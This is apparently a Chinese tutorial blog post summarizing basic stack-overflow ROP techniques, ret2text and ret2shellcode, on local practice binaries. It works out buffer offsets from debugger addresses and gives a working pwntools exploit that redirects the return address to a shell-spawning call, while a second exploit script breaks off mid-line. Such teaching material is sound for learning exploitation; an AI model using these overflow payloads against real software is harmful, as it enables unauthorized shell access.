栈溢出总结之基础ROP

ret2text

原理:ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。
这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
例子
仅开了NX栈不可执行保护。
主函数:发现gets处有栈溢出漏洞
在这里插入图片描述
在这里插入图片描述
在secure()函数中发现system(“bin/sh”),我们如果可以控制程序返回到0x0804863A处就可以拿到shell了。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到ebp的地址为0xffffcf08,esp的地址为0xffffce80,参数s相对于esp的索引为[esp + 0x1c],所以s的地址为0xffffce9c,所以s到ebp的偏移量为0xffffcf08-0xffffce9c=108。相对于返回地址的偏移为108+4。
exp

from pwn import*
p=process('./ret2text')
elf=ELF('./ret2text')
p.recvuntil('\n')
payload='a'*0x6c+'aaaa'+p32(0x08048641)
p.sendline(payload)
p.interactive()

ret2shellcode

原理:ret2shellcode代表返回到shellcode中即控制函数的返回地址到预先设定好的shellcode区域中去执行shellcode。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

例子:
32位程序,没有保护机制。
主程序:发现gets存在栈溢出漏洞,strncpy即将指定的字符串复制到buf2处。
在这里插入图片描述
发现buf2在bss段。
在这里插入图片描述
用vmmap命令发现bss段是可读可写可执行的。这时就可以把shellcode写到bss段拿到shell了。
在这里插入图片描述
ebp地址为0xffffcef8,esp地址为0xffffce70。参数s相对于esp的索引为[esp + 0x1c],所以s的地址为0xffffce8c,此时gets函数的偏移为0xffffcef8-0xffffce8c+4=112
在这里插入图片描述
在这里插入图片描述
需要说明的是,对于一般的shellcode来说,我们可以直接用pwnlibc中的语句shellcode=asm(shellcraft.sh())自动生成一串shellcode,当然也可以自己写shellcode。
pwnlibc官网:http://docs.pwntools.com/en/stable/about.html
exp:

from pwn import*
context.log_level='debug'
p=process('./ret2shellcode'
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值